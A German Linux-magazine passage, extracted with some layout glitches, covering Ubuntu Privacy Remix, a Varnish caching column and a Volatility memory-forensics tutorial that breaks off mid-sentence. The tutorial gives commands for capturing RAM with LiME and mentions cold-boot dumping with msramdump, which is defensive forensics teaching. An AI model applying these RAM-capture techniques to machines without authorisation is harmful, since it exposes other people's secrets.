Über den Fingerprint und eine Internetrecherche<br />
kann der Nutzer den Schlüssel<br />
des Entwicklers verifizieren.<br />
Datentresor<br />
Im Bootmenü von Ubuntu Privacy Remix<br />
– über [Esc] zu erreichen – gilt es<br />
nun, sich per [F3] zunächst für eine<br />
Sprache zu entscheiden. Standardmäßig<br />
erhält der Nutzer keine Rootrechte, kann<br />
sich diese aber zusichern, indem er [F6]<br />
drückt und die Kerneloption »godmode«<br />
ergänzt (Abbildung 2). Der Befehl »sudo<br />
su« beschert dem Nutzer dann Rootrechte<br />
ohne eine Passworteingabe.<br />
Wer Daten speichern will, braucht jedoch<br />
keine Rootrechte, er muss vielmehr<br />
als Nächstes einen erweiterten Truecrypt-Container<br />
auf einem zweiten USB-<br />
Stick anlegen. Dazu ruft der Nutzer den<br />
Menüpunkt »Anwendungen | Sicherheit |<br />
Truecrypt‐Container Assistent« auf, setzt<br />
ein Häkchen bei »Einen erweiterten Container<br />
erzeugen« und wählt dann »Eine<br />
Container‐Datei erzeugen«.<br />
Im nächsten Fenster klickt der Truecrypt-<br />
Nutzer in der Zeile »Container‐Datei«<br />
auf »Suchen« und wählt den USB-Stick<br />
aus, der den Container aufnehmen soll.<br />
Dessen Größe hängt vom Platz auf dem<br />
Stick ab, der Benutzer sollte sie großzügig<br />
wählen, weil hier alle Dateien landen, die<br />
er von UPR speichern möchte.<br />
Nach der Auswahl eines Namens sowie<br />
einer Passwortfestlegung (20 Zeichen)<br />
muss der Nutzer noch eine Minute lang<br />
mit Mausbewegungen Zufallszahlen erzeugen,<br />
um dann auf »Generieren« zu klicken<br />
und die Erfolgsmeldung abzuwarten.<br />
Das Passwort sollte sehr sicher sein,<br />
da Ubuntu Privacy Remix es verschlüsselt<br />
auf dem USB-Stick ablegt.<br />
Um den erweiterten Container zu nutzen,<br />
ruft der Anwender den Dateimanager<br />
auf, klickt den Container mit der<br />
rechten Maustaste an und wählt »True-<br />
Crypt‐Container | Öffnen«. Nach Eingabe<br />
des Passworts erscheint der Container<br />
einsatzbereit auf dem Desktop.<br />
Doch nicht nur das:<br />
Automatisch legt UPR<br />
auch die Konfigurationen<br />
diverser Programme<br />
über Links<br />
aus dem Homeverzeichnis<br />
in dem Container<br />
ab. So lassen<br />
sich Libre Office &<br />
Co. einrichten, ohne<br />
die User-Einstellungen<br />
ständig wieder zu<br />
verlieren. Voraussetzung<br />
ist, dass der Anwender<br />
den Container<br />
vor dem Start der Programme öffnet. Um<br />
den Container vor dem Herunterfahren<br />
auszuhängen, genügt ein Rechtsklick<br />
auf das Desktop-Icon mit der Auswahl<br />
»Truecrypt‐Container | Aushängen«.<br />
Einsame Insel<br />
Ubuntu Privacy Remix<br />
Auf der DELUG-DVD dieses <strong>Magazin</strong>s<br />
finden Sie ein 1,2 GByte großes Image<br />
DELUG-DVD<br />
der ersten Betaversion von Ubuntu Privacy Remix<br />
12.04r1, einem Ubuntu-Derivat mit Fokus<br />
auf Privatsphäre. Der Artikel beschreibt, wie<br />
sich mit dem Image arbeiten lässt.<br />
Abbildung 2: Im Bootmenü lässt sich die Sprache von UPR ändern, die<br />
»godmode«-Option verschafft dem Nutzer Rootrechte.<br />
Ubuntu Privacy Remix ist die einsame<br />
Insel unter den Distributionen. Isoliert<br />
von der Außenwelt ist sie vor Angriffen<br />
gut geschützt, aber im Privatbereich<br />
auf Dauer nur für Robinsons geeignet.<br />
Ist die fehlende Festplatte aufgrund der<br />
verschlüsselten USB-Lösung noch zu verschmerzen,<br />
erschwert der fehlende Internetzugang<br />
eine normale Kommunikation<br />
mit der Außenwelt doch stark.<br />
Eine Lösung besteht darin, einen weiteren<br />
USB-Stick zu nutzen, auf dem ein<br />
Live-System mit Internetzugang läuft,<br />
oder gleich einen zweiten Rechner. Für<br />
die Vorgängerversion 10.04r3 von UPR<br />
gibt es eine Dualboot-DVD, die zum anonymen<br />
Surfen die Tor-Distribution Tails<br />
anbietet, was eine Teillösung ist.<br />
Die eher kleine Gruppe von Menschen,<br />
die sensible Daten verwaltet, ohne dafür<br />
eine besondere Software oder das<br />
Internet zu benötigen, dürfte mit UPR<br />
hingegen gut bedient sein. Etwa der anfangs<br />
erwähnte Security-Forscher Bruce<br />
Schneier, der eine ähnliche Lösung verwendet<br />
[1]: „Wenn ich eine Datei transferieren<br />
möchte, verschlüssele ich sie auf<br />
dem sicheren Rechner und bringe sie auf<br />
meinem USB-Stick auf meinen Rechner<br />
mit Internetzugang.“ Bewaffnet mit zwei<br />
USB-Sticks macht es keinen Unterschied,<br />
auf welchem Rechner der Nutzer arbeitet.<br />
Verseuchte Dokumente lassen sich<br />
gelassen betrachten, weil die Malware<br />
nicht auf die Festplatte kommt.<br />
Auch für kleinere Firmen könnte sich<br />
der Einsatz von UPR lohnen, wenn sie<br />
keine spezielle Software benötigen und<br />
die Programme keine Datensätze aus einem<br />
CRM oder einer Groupware ziehen,<br />
wie es in Firmen häufig geschieht. Kundendatensätze<br />
inklusive Kreditkarteninformationen<br />
werden heute zwar über das<br />
Internet eingesammelt, ließen sich dann<br />
aber splitten: Die sensiblen Daten müsste<br />
ein Rechner ohne Internetanschluss sicher<br />
verwalten, während die Daten zur<br />
Kommunikation auf Rechnern und Servern<br />
mit Netzwerkzugriff blieben. Auch<br />
Abrechnungen, betriebliche Kostenrechnungen<br />
oder Strategieplanungen ließen<br />
sich auf so einem Rechner verwalten. n<br />
Infos<br />
[1] Bruce Schneier: [http:// www. theguardian.<br />
com/ world/ 2013/ sep/ 05/ nsa‐how‐to<br />
‐remain‐secure‐surveillance]<br />
[2] Ubuntu Privacy Remix:<br />
[https:// www. privacy‐cd. org]<br />
[3] Truecrypt: [http:// www. truecrypt. org]<br />
[4] UPR selbst mastern:<br />
[https:// www. privacy‐cd. org/ de/<br />
anleitungen/ demo‐content‐mainmenu‐56]<br />
[5] Tails: [https:// tails. boum. org]<br />
[6] Download von UPR:<br />
[https:// www. privacy‐cd. org/ de/<br />
upr‐auf‐launchpad/ download]
Aus dem Alltag eines Sysadmin: Varnish<br />
Slow Food<br />
Einführung 11/2013<br />
Sysadmin<br />
Sysadmin-Kolumnist Charly hat in diesem Monat den Salat und lässt deswegen ein angebotenes Steak zurückgehen.<br />
Alles klar? Herr Kühnast und ein tattriger Häuptling bitten zu Tisch. Charly Kühnast<br />
Inhalt<br />
68 Volatility 2.3<br />
Der Memory-Dump-Analyzer liefert<br />
forensische Informationen aus <strong>Linux</strong>-<br />
Systemen.<br />
74 Open Nebula erweitern<br />
Wie Virtualisierungsanwender eigene<br />
Shellskripte an Hooks einklicken.<br />
„Salat schmeckt wesentlich besser, wenn<br />
man ihn kurz vor dem Verzehr durch<br />
ein saftiges Steak ersetzt“ – solche Substitutionssprüche<br />
sterben trotz ihres homöopathischen<br />
Komikgehalts nicht aus.<br />
Auch Admins bekommen derart gestaltete<br />
Tipps: „Apache liefert statische Inhalte<br />
wesentlich schneller aus, wenn man ihn<br />
kurz vor dem Start durch Nginx ersetzt“.<br />
Der Spruch mag Vegetarier nicht mehr<br />
erregen, versetzt aber die Augen mancher<br />
Serveradmins in Kreisbewegung. Auch<br />
meine.<br />
Ich soll nämlich gerade einen Apache 2.2,<br />
der fast nur statischen Content auswirft,<br />
auf Maximalleistung trimmen. Aus mehreren<br />
Gründen darf ich dabei den alten<br />
Indianer nicht in die Wüste schicken, der<br />
zwar der unangefochtene Häuptling der<br />
Flexibilität ist, aber in Sachen Performance<br />
die Verfolgung seiner Widersache gar<br />
nicht mehr aufzunehmen braucht.<br />
Aber wenn ich dem Apachen nicht den<br />
Garaus machen darf, möchte ich ihn zumindest<br />
auf ein flotteres Pferd setzen,<br />
Abbildung 1: Als reiner Apache-Beschleuniger reicht<br />
Vanish eine derartig simple Konfiguration.<br />
etwa durch einen flotten Cache wie Varnish<br />
[1]. Die Macher des Tools haben<br />
es von Grund auf als Caching-Instanz<br />
konzipiert, entsprechend mächtig fällt es<br />
aus. Ich könnte in der eigens dafür vorgesehenen<br />
Varnish Cache Language (VCL)<br />
komplexe Regelwerke entwerfen, für das<br />
Puffern statischer <strong>Web</strong>seiten reicht mir<br />
aber schon eine schlanke Konfiguration.<br />
Zunächst baue ich den Apache per »NameVirtualHost«<br />
und »Listen« so um, dass<br />
er künftig auf Port 8080 statt Port 80<br />
lauscht, denn den soll Varnish übernehmen.<br />
Sein Cache wird dann Inhalte direkt<br />
an den Client weiterreichen.<br />
Die meisten Distributionen haben Varnish<br />
an Bord. Debian und seine Derivate<br />
konfigurieren Varnish über die Datei »/<br />
etc/default/varnish«, Red Hat und Verwandte<br />
in »/etc/sysconfig/varnish«. Ich<br />
muss hier lediglich die Kommandozeilenparameter<br />
für den Startaufruf anpassen<br />
(»DAEMON_OPTS«). Abbildung 1 zeigt<br />
die Konfiguration, die ich für meinen<br />
Apache-Beschleuniger benutze. Mit »‐a<br />
:80« lege ich fest, dass Varnish auf allen<br />
IPv4- und IPv6-Adressen des Systems<br />
Verbindungen zu Port 80 entgegennimmt.<br />
Der Parameter »‐b« verrät Varnish, wo der<br />
Apache sein Zelt aufgeschlagen hat.<br />
Ein laufender Varnish lässt sich über ein<br />
Telnet-Interface steuern, dessen Adresse<br />
und Port ich mit »‐T« angebe. Wegen der<br />
Sicherheit öffne ich den Port nur auf »localhost«,<br />
außerdem muss ich das Secret<br />
kennen, das in der Datei nach dem Parameter<br />
»‐S« abgelegt ist. Hinter »‐u« und<br />
»‐g« verbergen sich erwartungsgemäß Benutzername<br />
und Gruppenzugehörigkeit.<br />
Cache and Carry<br />
Für die Performance ist die letzte Zeile<br />
mit dem Parameter »‐s« die wichtigste,<br />
denn sie steuert Art und Größe des<br />
Caches. Den Cache kann ich im RAM<br />
oder auf einer Plattenpartition anlegen.<br />
Gebe ich hier<br />
file, /var/cache/varnish.cache,50%<br />
an, so benutzt Varnish den unter »/var/<br />
cache« bereitstehenden Plattenspeicher<br />
bis zur Hälfte. Dabei belegt das Tool den<br />
Platz nicht sofort, sondern die Cachedatei<br />
wächst erst nach und nach.<br />
Kalte Platte<br />
Allerdings sollte niemand von einem Plattencache<br />
Wunder erwarten. Mein Ser ver<br />
ver fügt zum Glück über 16 GByte RAM:<br />
Apache und Varnish nehmen sich davon<br />
ein Stückchen, aber 10 GByte darf ich dem<br />
Cache locker überantworten. Wäre ich zu<br />
knauserig, weicht Varnish ins Swap aus,<br />
und der Geschwindigkeitsvorteil ist hin.<br />
Ergo: »‐s malloc,10g«, und der alte Indianer<br />
galoppiert wie ein junger. (jk) n<br />
Infos<br />
[1] Varnish: [http:// www. varnish‐cache. org]<br />
Der Autor<br />
Charly Kühnast administriert<br />
Unix-Syste me im Rechenzentrum<br />
Niederrhein. Zu seinen<br />
Aufgaben gehören Sicherheit<br />
und Verfügbarkeit der<br />
Firewalls und der DMZ.<br />
© ginasanders, 123RF.com<br />
www.linux-magazin.de<br />
67
Sysadmin<br />
www.linux-magazin.de Volatility 2.3 11/2013<br />
68<br />
Der Memory-Dump-Analyzer Volatility liefert Informationen aus <strong>Linux</strong>-Systemen<br />
Flüchtige Spuren<br />
Spurensuche im RAM, das ist die Domäne von Volatility. Das Forensiker-Werkzeug hilft Admins dabei, zu analysieren,<br />
was auf einem System schiefgelaufen ist. Für Rückschlüsse auf Malware, laufende oder gar kompromittierte<br />
Dienste reicht ihm meist ein Abbild des Arbeitsspeichers. Markus Feilner, Hans-Peter Merkel<br />
platte einen Totalschaden hatte oder ein<br />
gerissener Einbrecher seine Spuren zwar<br />
nicht auf der Disk, doch vielleicht im<br />
laufenden System hinterlassen hat.<br />
Üben für den Ernstfall<br />
© spleen87, photocase.com<br />
Dass Informationen aus dem Arbeitsspeicher<br />
eines Rechners auch nach dem<br />
Unterbrechen der Stromversorgung noch<br />
einige Zeit erhalten bleiben, ist ein offenes<br />
Geheimnis [1]. Einfacher noch liegt<br />
der Fall beim Betätigen des Reset-Buttons,<br />
weil bei diesem ja die Spannung<br />
nicht einmal unterbricht. Wer dann beim<br />
Reboot ein minimales Betriebssystem –<br />
etwa per USB-Stick – heranzieht, dem<br />
stehen große Teile des Arbeitsspeichers<br />
noch unverändert zur Verfügung, fast so,<br />
als hätte er Vollzugriff auf das vorher<br />
laufende System.<br />
Strings und Grep<br />
Jetzt ließe sich schon mit <strong>Linux</strong>-Bordmitteln<br />
wie Strings und Grep einiges herausfinden,<br />
doch mit einem ausgewachsenen<br />
Memory-Dump-Analyzer wie Volatility<br />
[2] geht noch viel mehr – und das Open-<br />
Source-Projekt entwickelt sich kontinuierlich<br />
weiter.<br />
Als sich das <strong>Linux</strong>-<strong>Magazin</strong> zuletzt 2008<br />
dem Memory-Analyzer widmete, konnte<br />
das Framework nur RAM-Abbilder von<br />
Windows-Maschinen analysieren [3], als<br />
PDF auf der DELUG-DVD). Seit Version<br />
2.2 beherrscht es aber auch <strong>Linux</strong>, ab<br />
der anstehenden 2.3 sind auch Apple-<br />
Geräte und Androiden zur Auswertung<br />
freigegeben. Doch vor allem <strong>Linux</strong>-Admins<br />
dürfen sich über eine große Anzahl<br />
neuer Tools und Programme freuen, die<br />
viele Informationen aus vermeintlich toten<br />
– oder auch fremden – Maschinen<br />
extrahieren können.<br />
Volatility erweist sich primär für jene als<br />
nützlich, die herausfinden wollen oder<br />
schlimmstenfalls müssen, was ein Rechner<br />
getan hat, als beispielsweise die Fest-<br />
Tools wie Lime [4] helfen solch ein Abbild<br />
aus einem laufenden System anzufertigen,<br />
ehe vielleicht ein Reboot oder<br />
schon das Herunterfahren oder Anhalten<br />
der Maschine die Spuren verwischt. Für<br />
Admins, die den Umgang mit Volatility<br />
lernen, haben die Projektmitglieder jede<br />
Menge Memory Dumps [5] zu Übungszwecken<br />
zur Verfügung gestellt, wer eigene<br />
Images erstellen will, kann das auch<br />
mit einem USB-Stick.<br />
Wer die im Folgenden beschriebenen<br />
Schritte in Eigenregie nachvollziehen<br />
will, braucht nur drei Sachen: eine Installation<br />
einer aktuellen Volatility-Version,<br />
einen heruntergeladenen Übungsdump<br />
und ein zu seinem <strong>Linux</strong>-Kernel passendes<br />
Profil. Die Beispiele in diesem<br />
Artikel beziehen sich auf Ubuntu 13.04<br />
(die 64-Bit-Variante). Wer dagegen ein<br />
eigenes, real existierendes System unter<br />
die Lupe nehmen will, muss mit Tools<br />
wie Lime einen eigenen, individuellen<br />
Speicherabzug erstellen.<br />
Memory Dumps erstellen<br />
Einen solchen Memory Dump für Windows-Betriebssysteme<br />
zu generieren ist<br />
einfach. Meist kommen dafür Produkte<br />
DELUG-DVD<br />
Auf der DVD dieser Ausgabe finden<br />
Sie alle Tools und über 50 <strong>Linux</strong>-Kernel-<br />
DELUG-DVD<br />
Profile aus dem Artikel, dazu mehrere Images<br />
und die Software von Volatility und Lime.
wie die Helix-CD [6] zum Einsatz, die<br />
dafür diverse Programme mitbringen. Einen<br />
Memory Dump für <strong>Linux</strong> anzufertigen<br />
ist dagegen bedeutend aufwändiger:<br />
Für jede Kernelversion muss der Admin<br />
einen passenden Treiber selbst erstellen<br />
– beispielsweise auf einem identischen,<br />
virtualisierten System.<br />
Mit Empfehlung: Lime<br />
Volatility empfiehlt Lime (als ».tgz«-Datei<br />
auf [7]) zu benutzen, auch in den<br />
Tests der Autoren des <strong>Linux</strong>-<strong>Magazin</strong>s<br />
arbeitete die Toolsammlung gut. Zuerst<br />
legt der Anwender ein neues Verzeichnis<br />
an und entpackt dort die Datei<br />
»lime‐forensics‐1.1‐r17.tar.gz«. Nach<br />
dem Make-Aufruf findet er das Modul<br />
»lime‐3.2.0‐49‐generic.ko«. Die entsprechende<br />
Kernelversion lässt sich hier bereits<br />
am Dateinamen erkennen.<br />
Auf der DELUG-DVD findet der Leser<br />
über 50 von den Autoren bereitgestellte<br />
Module für zahlreiche Kernelvarianten,<br />
die sich schnell auf ein Testsystem übertragen<br />
lassen.<br />
Insmod<br />
Den Treiber lädt »insmod«, sodass der<br />
folgende Befehl einen Memory Dump in<br />
»/tmp/ubuntu1204.dump« erzeugt:<br />
insmod lime‐3.2.0‐49‐generic.koU<br />
"path=/tmp/ubuntu1204.dump format=lime"<br />
Wer Volatility bereits installiert hat, kann<br />
den Speicherabzug jetzt überprüfen:<br />
vol.py ‐f ubuntu1204.dump ‐‐profile=U<br />
<strong>Linux</strong>Ubuntu1204_3_2_0_49x64 linux_ifconfig<br />
Im Beispiel nutzt der Anwender einen der<br />
weiter unten in diesem Artikel beschriebenen<br />
Volatility-Befehle, hier »linux_ifconfig«,<br />
der die zuletzt benutzten IPs und<br />
NICs auflistet. Das Ergebnis sollte Zeilen<br />
wie die folgenden enthalten:<br />
Interface IP MAC Promiscous Mode<br />
lo 127.0.0.1 00:00:00:00:00:00 False<br />
eth0 192.168.2.2 00:00:00:00:00:00 False<br />
sit0 0.0.0.0 00:00:00:00:00:00 Falseme"<br />
Fehlerhafte Ausgaben wie »No suitable<br />
address space mapping found« oder Fehler<br />
bei dem Versuch, das Abbild zu öffnen,<br />
weisen auf ein defektes Image oder<br />
eine falsche Profildatei hin. Dann hilft es<br />
Volatility 2.3 11/2013<br />
Sysadmin<br />
www.linux-magazin.de<br />
69<br />
Listing 1: »vol.py ‐‐info | grep Win«<br />
01 Volatile Systems Volatility Framework 2.3_beta<br />
02 VistaSP0x64 ‐ A Profile for Windows Vista SP0 x64<br />
03 VistaSP0x86 ‐ A Profile for Windows Vista SP0 x86<br />
04 VistaSP1x64 ‐ A Profile for Windows Vista SP1 x64<br />
05 VistaSP1x86 ‐ A Profile for Windows Vista SP1 x86<br />
06 VistaSP2x64 ‐ A Profile for Windows Vista SP2 x64<br />
07 VistaSP2x86 ‐ A Profile for Windows Vista SP2 x86<br />
08 Win2003SP0x86 ‐ A Profile for Windows 2003 SP0 x86<br />
09 Win2003SP1x64 ‐ A Profile for Windows 2003 SP1 x64<br />
10 Win2003SP1x86 ‐ A Profile for Windows 2003 SP1 x86<br />
11 Win2003SP2x64 ‐ A Profile for Windows 2003 SP2 x64<br />
12 Win2003SP2x86 ‐ A Profile for Windows 2003 SP2 x86<br />
13 Win2008R2SP0x64 ‐ A Profile for Windows 2008 R2 SP0 x64<br />
14 Win2008R2SP1x64 ‐ A Profile for Windows 2008 R2 SP1 x64<br />
15 Win2008SP1x64 ‐ A Profile for Windows 2008 SP1 x64<br />
16 Win2008SP1x86 ‐ A Profile for Windows 2008 SP1 x86<br />
17 Win2008SP2x64 ‐ A Profile for Windows 2008 SP2 x64<br />
18 Win2008SP2x86 ‐ A Profile for Windows 2008 SP2 x86<br />
19 Win7SP0x64 ‐ A Profile for Windows 7 SP0 x64<br />
20 Win7SP0x86 ‐ A Profile for Windows 7 SP0 x86<br />
21 Win7SP1x64 ‐ A Profile for Windows 7 SP1 x64<br />
22 Win7SP1x86 ‐ A Profile for Windows 7 SP1 x86<br />
23 WinXPSP1x64 ‐ A Profile for Windows XP SP1 x64<br />
24 WinXPSP2x64 ‐ A Profile for Windows XP SP2 x64<br />
25 WinXPSP2x86 ‐ A Profile for Windows XP SP2 x86<br />
26 WinXPSP3x86 ‐ A Profile for Windows XP SP3 x86<br />
27 WindowsCrashDumpSpace32 ‐ This AS supports windows Crash Dump format<br />
28 WindowsCrashDumpSpace64 ‐ This AS supports windows Crash Dump format<br />
29 WindowsHiberFileSpace32 ‐ This is a hibernate address space for<br />
windows hibernation files.
Sysadmin<br />
www.linux-magazin.de Volatility 2.3 11/2013<br />
70<br />
vielleicht, nach Alternativen zu suchen,<br />
die es für <strong>Linux</strong> durchaus gibt.<br />
Fmem, Coldboot und<br />
Msramdump<br />
Fmem [8] beispielsweise ersetzt die<br />
noch unter Kernel 2.4 übliche Methode,<br />
mit »dd« und »/dev/mem« oder »/dev/<br />
kmem« Memory Dumps anzufertigen.<br />
Optimale Zusammenarbeit mit Volatility<br />
erreicht jedoch nur Lime.<br />
Eine recht interessante Alternativmethode<br />
bietet ein Coldboot-Angriff, den<br />
Wissenschaftler der Princeton-Universität<br />
beschreiben [1]. Der McGrew-Security-<br />
RAM-Dumper Msramdump [9] nutzt die<br />
genannten Eigenschaften in Form eines<br />
bootfähigen USB-Sticks. Der enthält eine<br />
FAT-16-Partition, die per Syslinux bootet<br />
und automatisch einen Memory Dump<br />
zieht. Groß genug sollte der Stick allerdings<br />
sein, denn auf dem Datenträger<br />
landet auch noch eine zweite Partition,<br />
in die Msramdump standardmäßig die<br />
RAM-Abbilder schreibt.<br />
Eigenen USB-Stick basteln<br />
oder Image ziehen?<br />
Wer sich einen Coldboot-Stick – wie unter<br />
[9] beschrieben – nicht selbst basteln<br />
möchte, findet auch dafür ein Image<br />
auf der Heft-DVD. Eine Zusammenarbeit<br />
mit Volatility darf da allerdings niemand<br />
erwarten, doch immerhin funktioniert<br />
auch hier die traditionelle Auswertung<br />
Listing 2: »vol.py --info | grep <strong>Linux</strong>«<br />
01 Volatile Systems Volatility Framework 2.3_beta<br />
02 <strong>Linux</strong>Debian5_26x86 ‐ A Profile for <strong>Linux</strong> Debian5_26 x86<br />
03 <strong>Linux</strong>Evo4GARM ‐ A Profile for <strong>Linux</strong> Evo4G ARM<br />
04 <strong>Linux</strong>Ubuntu1204_3_2_0_23x64 ‐ A Profile for <strong>Linux</strong> Ubuntu1204_3_2_0_23 x64<br />
05 <strong>Linux</strong>Ubuntu1204_3_2_0_32x64 ‐ A Profile for <strong>Linux</strong> Ubuntu1204_3_2_0_32 x64<br />
06 <strong>Linux</strong>Ubuntu1204x64 ‐ A Profile for <strong>Linux</strong> Ubuntu1204 x64<br />
07 <strong>Linux</strong>Ubuntu1304_3_8_0_25x64 ‐ A Profile for <strong>Linux</strong> Ubuntu1304_3_8_0_25 x64<br />
08 <strong>Linux</strong>dfrws‐profilex86 ‐ A Profile for <strong>Linux</strong> dfrws‐profile x86<br />
09 linux_yarascan ‐ A shell in the <strong>Linux</strong> memory image<br />
mit Unix-Tools wie Strings und Grep. Ansonsten<br />
hilft nur Lime wirklich weiter.<br />
Volatility installieren<br />
Weil Volatility offiziell immer noch im<br />
Betastadium steckt, muss der Admin zu<br />
Quellcode und Subversion greifen. Mit<br />
svn checkout http://volatility.googlecode.U<br />
com/svn/trunk Volatility<br />
installiert er das Framework aus dem<br />
Sourcecode-Repository. Möglich ist bereits<br />
hier, die Installation um zusätzliche<br />
Plugins anzureichern, Details bietet die<br />
Projektseite [10] unter dem Stichwort<br />
„Full Installation“.<br />
Ein erster Test erfolgt mit »./vol.py ‐h«.<br />
Die Meldung sollte die aktuelle Version<br />
2.3 Beta bestätigen:<br />
Volatile Systems Volatility FrameworkU<br />
2.3_beta<br />
»./vol.py ‐‐info« liefert erdrückend viele<br />
Informationen und ist sinnvollerweise<br />
vom Admin durch Grep-Befehle zu reduzieren<br />
(Listing 1). »vol.py ‐‐info | grep<br />
Win« gibt Auskunft über die Windows-<br />
Unterstützung, die die Entwickler seit<br />
dem <strong>Linux</strong>-<strong>Magazin</strong>-Artikel 2008 ebenfalls<br />
stark erweitert haben.<br />
Listing 2 zeigt die <strong>Linux</strong>-Module, doch<br />
Anwender, die folgende Beispiele in Eigenregie<br />
nachvollziehen, erleben gleich<br />
eine herbe Enttäuschung: Die meisten<br />
gelieferten Informationen sind nur wenig<br />
hilfreich. Während Volatility eine Vielzahl<br />
von Windows-Profilen mitbringt,<br />
fehlen solche für <strong>Linux</strong> komplett, der<br />
Anwender muss sie selbst erstellen. Das<br />
ist zwar kein Hexenwerk, es gilt allerdings<br />
zu bedenken, dass ein Profil nur<br />
für eine Kernel-Version oder -Architektur<br />
funktioniert. Selbst die Distribution spielt<br />
eine Rolle: Ein Profil mit Kernel 3.2.x von<br />
Debian passt auch nicht zu einem Kernel<br />
3.2.x von Ubuntu.<br />
Als dieser Artikel entstand, hatte beispielsweise<br />
Ubuntu 12.04 LTS bereits 24<br />
Kernelversionen ausgeliefert. Da hat die<br />
<strong>Linux</strong>-Vielfalt auch mal einige Nachteile.<br />
Damit wird klar, warum professionelle<br />
Volatility-Anwender virtuelle Systeme mit<br />
einer Vielzahl von Kernelversionen bereithalten,<br />
um im Einsatzfall schnell ein<br />
Profil parat zu haben. Ein guter Anfang<br />
ist das Paket auf der DELUG-DVD.<br />
Liegt lediglich ein Memory-Dump vor,<br />
ohne dass die entsprechende Kernelversion<br />
bekannt ist, so reicht ein Strings-Befehl<br />
im Dump mit einem Grep nach dem<br />
Begriff »vmlinuz«. Schnell ist die passende<br />
Kernelversion gefunden, in einem<br />
virtuellen System erstellt der Anwender<br />
dann das Profil.<br />
Debugging-Profile und<br />
-Standards für Zwerge<br />
Ein Profil besteht aus den beiden Dateien<br />
»System.map‐Kernelversion« und »modules.dwarf«.<br />
Während die erste meist<br />
schon im »/boot«-Verzeichnis vorliegt,<br />
muss der Admin die zweite selbst erzeugen.<br />
Dazu benutzt er das Programm<br />
»dwarfdump« aus gängigen Repositories.<br />
Mehr Informationen über das Dwarf-<br />
Debugging-File-Format beziehungsweise<br />
den Dwarf-Debugging-Standard Dwarfstd<br />
gibt dessen <strong>Web</strong>seite [11].<br />
Im Verzeichnis »volatility/tools/linux«<br />
finden sich alle Dateien, um »modules.<br />
dwarf« zu erstellen. Ein Aufruf von Make<br />
in diesem Verzeichnis erzeugt die Datei,<br />
die der Admin zusammen mit der<br />
Listing 3: Zweimal Strings im Einsatz<br />
01 strings victoria‐v8.memdump.img | grep vmlinuz<br />
02 # kernel /vmlinuz root=/dev/hda2 ro<br />
03 kernel /boot/vmlinuz‐2.6.26‐2‐686 root=/dev/sda1 ro<br />
04 kernel /boot/vmlinuz‐2.6.26‐2‐686 root=/dev/sda1 ro single<br />
05 kernel /vmlinuz root=/dev/hdb1<br />
06 # kernel /vmlinuz root=/dev/hda2 ro<br />
07 kernel /boot/vmlinuz‐2.6.26‐2‐686 root=/dev/sda1 ro quiet<br />
08 kernel /boot/vmlinuz‐2.6.26‐2‐686 root=/dev/sda1 ro single<br />
09 <br />
10 strings victoria‐v8.memdump.img | grep 2.6.26‐2‐686 | grep ‐i title<br />
11 title Debian GNU/<strong>Linux</strong>, kernel 2.6.26‐2‐686<br />
12 title Debian GNU/<strong>Linux</strong>, kernel 2.6.26‐2‐686 (single‐user mode)<br />
13 title Debian GNU/<strong>Linux</strong>, kernel 2.6.26‐2‐686<br />
14 title Debian GNU/<strong>Linux</strong>, kernel 2.6.26‐2‐686 (single‐user mode)
Der im Folgenden verwendete infizierte<br />
Memory Dump stammt aus dem Honeynet-2001-Projekt<br />
[12]. Das Image selbst<br />
ist ebenfalls als Download verfügbar<br />
und hört auf den Namen »victoria‐v8.<br />
memdump.img.zip«. Die Wahrscheinlichkeit,<br />
dass so ein Image auf Übungsrechnern<br />
ganz einfach mit Volatilitys<br />
Kernelmodulen funktioniert, ist nach<br />
den beschriebenen Anforderungen recht<br />
gering. Deshalb analysiert das folgende<br />
Beispiel das Image, um mehr Informationen<br />
über den eingesetzten Kernel zu<br />
erhalten (Listing 3), und findet den recht<br />
betagten Debian-Kernel 2.6.26-2.<br />
Ein virtuelles Debian mit Kernel 2.6.26-<br />
2-686 installieren, um mit den zuvor<br />
genannten Schritten eine Profildatei zu<br />
erstellen, wäre jetzt die nächste Aufgabe.<br />
DELUG-Leser sparen sich die Arbeit und<br />
greifen direkt auf die passende Profildatei<br />
auf der Heft-DVD zu. Wie oben beschrieben,<br />
landet das File im Verzeichnis »volatility/plugins/overlays/linux«.<br />
Volatility 2.3 11/2013<br />
Sysadmin<br />
www.linux-magazin.de<br />
71<br />
Testen<br />
Abbildung 1: Ein Grep nach »<strong>Linux</strong>« zeigt Profile, ein Grep auf »linux« listet die Volatility-Befehle.<br />
System-Map aus dem laufenden System<br />
nun per Zip komprimiert:<br />
zip Ubuntu1304_3_8_0_26.zip modules.dwarfU<br />
/boot/System.map‐3.8.0‐26‐generic<br />
Der Name des Zip-File spielt hier keine<br />
Rolle, eine passende Benennung hilft<br />
aber bei späteren Arbeitsschritten bei der<br />
Auswahl des Profils. Damit Volatility das<br />
Zip-File bei der Profilauswahl erkennt,<br />
kopiert der Admin es nach »volatility/<br />
plugins/overlays/linux«. Ab sofort sollte<br />
»./vol.py ‐‐info | grep <strong>Linux</strong>« auch das gewünschte,<br />
neu erstellte Profil anzeigen.<br />
Dumps<br />
Ob alles funktioniert, lässt sich mit einem<br />
einfachen Befehl überprüfen, der<br />
Auskunft über die installierte CPU des<br />
kompromittierten Systems gibt (Listing<br />
4). Für eine Information, die aus dem<br />
Memory Dump eines Systems stammt,<br />
Listing 4: »vol.py ‐‐profile«<br />
01 #vol.py ‐f victoria‐v8.memdump.img ‐‐profile<br />
02 <br />
<strong>Linux</strong>Debian5_26x86 linux_cpuinfo<br />
03 Volatile Systems Volatility Framework 2.3_beta<br />
04 Processor Vendor Model<br />
05 ‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐<br />
06 0 GenuineIntel Intel(R) Core(TM)2 CPU T7200 @ 2.00GHz
Sysadmin<br />
www.linux-magazin.de Volatility 2.3 11/2013<br />
72<br />
von dem weder die Hardware noch die<br />
Festplatte vorliegt, ist das ein recht beachtliches<br />
Ergebnis. »‐f« übergibt dabei<br />
den Namen des Memory Dump an Volatility,<br />
»‐‐profile <strong>Linux</strong>Debian5_26x86« legt<br />
die passende Profildatei fest und »linux_<br />
cpuinfo« ist der eigentliche Befehl.<br />
Um die etwas lang geratenen Kommandozeilen<br />
für die anstehenden Arbeiten<br />
zu vereinfachen, stellt Volatility Exportvariablen<br />
bereit:<br />
export VOLATILITY_PROFILE=<strong>Linux</strong>Debian5_26x86<br />
export VOLATILITY_LOCATION=file:///tmp/U<br />
victoria‐v8.memdump.img<br />
So bleibt die Kommandozeile übersichtlich<br />
